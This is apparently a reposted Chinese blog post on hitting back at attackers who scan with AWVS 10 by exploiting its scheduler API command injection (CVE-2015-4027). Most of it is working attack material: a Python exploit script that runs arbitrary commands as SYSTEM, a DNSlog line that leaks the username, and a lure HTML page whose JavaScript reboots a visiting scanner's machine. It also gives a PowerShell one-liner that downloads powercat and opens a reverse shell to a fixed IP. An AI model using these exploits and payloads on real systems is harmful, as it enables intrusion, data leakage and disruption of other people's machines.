原文始发于密鉴网:利用AWVS10RCE进行反制
首先,在渗透的时候,很多人会开各种扫描器收集一波信息,在国内用的最多最平常的扫描器应该是AWVS系列。这篇文章写得就是利用AWVS的一个漏洞去反制攻击者,仅提供一个思路进行参考。
这里利用的是AWVS 10被爆出一个本地权限提升漏洞(CVE-2015-4027),漏洞详情及POC:https://www.exploit-db.com/exploits/38847/
- 实验系统:win7 sp1
- awvs:10
注意AWVS10和AWVS10.5区分,AWVS10.5没有该漏洞
awvs10安装
首先我们先下载awvs 10,参考:http://www.32r.com/soft/12986.html
漏洞分析
漏洞是出现在AWVS 10 的一个任务调度的API上。在AWVS 10.x 被安装后,系统会默认安装一个叫做“AcuWVSSchedulerv10”的自启动服务,这个服务是跑在system权限下的。他会监听本地的8183端口,用户可以通过它直接调用接口来给awvs添加新的扫描任务。
如下图所示,通过访问http://127.0.0.1:8183即可完成扫描任务的添加删除和进度查看。
在添加任务时,参数里有一项为reporttemplate ,他的作用是选择扫描结束生成报告时所用的模板,研究发现这个参数会被带入WVS的命令行执行。由于系统没有对用户的输入做检查,导致我们可以通过reporttemplate带入任意的参数,形成了命令注入。
通过查看awvs的官方文档:https://www.acunetix.com/blog/docs/acunetix-wvs-cli-operation/
发现wvs命令行下有一个参数为/run,通过它可以执行系统任意命令。因此我们可以使用这个参数获得一个system权限的命令执行。
这里我对原poc进行一个修改,修改为python3
#import httplib | |
import requests | |
import json | |
from datetime import datetime | |
import sys | |
import os | |
from time import gmtime, strftime | |
url = “http://127.0.0.1:8183/api/addScan” | |
if len(sys.argv) > 1: | |
COMMAND = sys.argv[1] | |
pass | |
else: | |
print(‘请输入想要执行的命令参数: python xx.py “command”‘) | |
os._exit(0) | |
ACUHOST = ‘127.0.0.1’ | |
ACUPORT = 8183 | |
ACUHEADERS = { | |
“Content-Type”: “application/json; charset=UTF-8”, | |
“X-Requested-With”: “XMLHttpRequest”, | |
“Accept”: “application/json, text/javascript, */*; q=0.01”, | |
“RequestValidated”: “true” | |
} | |
ACUEXPLOIT = “/Crawl http://www.google.it /Run \””+ COMMAND + “\”” | |
ACUDATA = {“scanType”:“scan”, | |
“targetList”:“”, | |
“target”:[“http://”+“A”*2048], | |
“recurse”:“-1”, | |
“date”:strftime(“%m/%d/%Y”, gmtime()), | |
“dayOfWeek”:“1”, | |
“dayOfMonth”:“1”, | |
“time”: “%s:%s” % (datetime.now().hour, datetime.now().minute+1), | |
“deleteAfterCompletion”:“False”, | |
“params”:{“profile”:“Default”, | |
“loginSeq”:“<none>”, | |
“settings”:“Default”, | |
“scanningmode”:“heuristic”, | |
“excludedhours”:“<none>”, | |
“savetodatabase”:“True”, | |
“savelogs”:“False”, | |
“generatereport”:“False”, | |
“reportformat”:“PDF”, | |
“reporttemplate”:“WVSDeveloperReport.rep “ + ACUEXPLOIT, | |
“emailaddress”:“”} | |
} | |
def sendExploit(): | |
“””conn = httplib.HTTPConnection(ACUHOST, ACUPORT) | |
conn.request(“POST”, “/api/addScan”, json.dumps(ACUDATA), ACUHEADERS) | |
resp = conn.getresponse() | |
return “%s %s” % (resp.status, resp.reason)””” | |
re = requests.post(url=url,headers=ACUHEADERS,data=json.dumps(ACUDATA)) | |
print(re.status_code,re.text) | |
print (“Acunetix Wvs 10 Local priviledge escalation by Daniele Linguaglossa\n”) | |
print (“[+] Command : %s will be executed as SYSTEM” % COMMAND) | |
print (“[+] Sending exploit…”) | |
sendExploit() | |
print (“[+] Done!”) |
这个payload其实就是模仿的一个添加任务的一个请求,这里可以使用proxychains对poc进行流量的截取查看
命令执行
我们把这个poc进行执行
1. DNSlog探测
首先在dnslog平台获取一个子域,http://www.dnslog.cn/
执行python脚本,我们发现此时立即添加了一个扫描任务,任务是在一分钟后执行
一分钟后刷新dnslog,发现命令被执行了
2.dnslog回显系统信息
python 1.py “ping %USERNAME%.8mszqz.dnslog.cn“ |
进一步利用
然后思考,可不可以在网页中写入js代码,然后js中放入我们的poc,将poc用js的方式进行提交。这里将原作者的js代码进行一个修改,因为我用其提供的js代码并不能执行成功,修改的js代码如下。写先一个简单的HTML页面
重启系统
<!DOCTYPE html> | |
<html lang=“en”> | |
<head> | |
<meta charset=“UTF-8”> | |
<title>钓鱼网站</title> | |
<h1>嗨喽,欢迎来到到我的世界</h1> | |
</head> | |
<body> | |
<script> | |
var time = new Date() | |
var y = time.getFullYear(); | |
var m = time.getMonth()+1; | |
var d = time.getDate(); | |
var hours = time.getHours(); | |
var min = time.getMinutes()+1; | |
//var command = “shutdown -r -t 0”; | |
var padding = “http://”; | |
for(i=0;i<2048;i++)padding+=“a”; | |
var exp = ‘{“scanType”:“scan”,“targetList”:“”,“target”:[“‘+padding+'”],“recurse”:“-1”,“date”:“‘+m+’/’+d+’/’+y+'”,“dayOfWeek”:“1”,“dayOfMonth”:“1”,“time”:“‘+hours+’:’+min+'”,“deleteAfterCompletion”:“False”,“params”:{“profile”:“Default”,“loginSeq”:“<none>”,“settings”:“Default”,“scanningmode”:“heuristic”,“excludedhours”:“<none>”,“savetodatabase”:“True”,“savelogs”:“False”,“generatereport”:“False”,“reportformat”:“PDF”,“reporttemplate”:“WVSDeveloperReport.rep /Crawl http://www.google.it /Run \\”shutdown /r /t 0 \\“”,“emailaddress”:“”}}’ | |
document.write(exp) | |
var xmlhttp; | |
if(window.XMLHttpRequest){ | |
xmlhttp = new XMLHttpRequest(); | |
}else{ | |
xmlhttp = new ActiveXObject(“Microsoft.XMLHTTP”); | |
} | |
xmlhttp.open(“POST”,“http://127.0.0.1:8183/api/addScan”,true); | |
xmlhttp.setRequestHeader(“Content-type”,“application/x-www-form-urlencoded”); | |
xmlhttp.setRequestHeader(“RequestValidated”,“true”); | |
xmlhttp.send(exp); | |
</script> | |
</body> | |
</html> |
用pyhthon起一个web服务
python -m http.server 80 |
shutdown /r /t 0,就是我们执行的系统命令
然后,当我们使用扫描器对网站进行扫描的时候,一扫描发现,系统自动添加了一个扫描任务
当任务执行的时候,攻击者的系统重启了
当然还可以进行添加账号等一些操作。
反弹shell
ps的执行策略
默认不允许运行ps脚本
四种策略
- Restricted 默认,不允许执行脚本(管理员也不行)
- ALLsigned 允许云心经过证书验证的脚本
- Unrestricted 允许执行任意脚本
- RemoteSigned 本地脚本不限制,来自网络的脚本需要经过签名
Get-Executionpolicy 看脚本运行策略 | |
Set-Executionpolicy Unrestricted 更改脚本策略为Unrestricted |
因为是winndows下,所以并不好反弹shell,这里想的是利用powershell脚本进行反弹
powershell IEX (New-Object System.Net.Webclient).DownloadString(‘https://raw.githubusercontent.com/besimorhino/powercat/master/powercat.ps1’); powercat -c 192.168.1.4 -p 9999 -e cmd |
但是放到poc里面去,并不会执行这个命令,不知道啥原因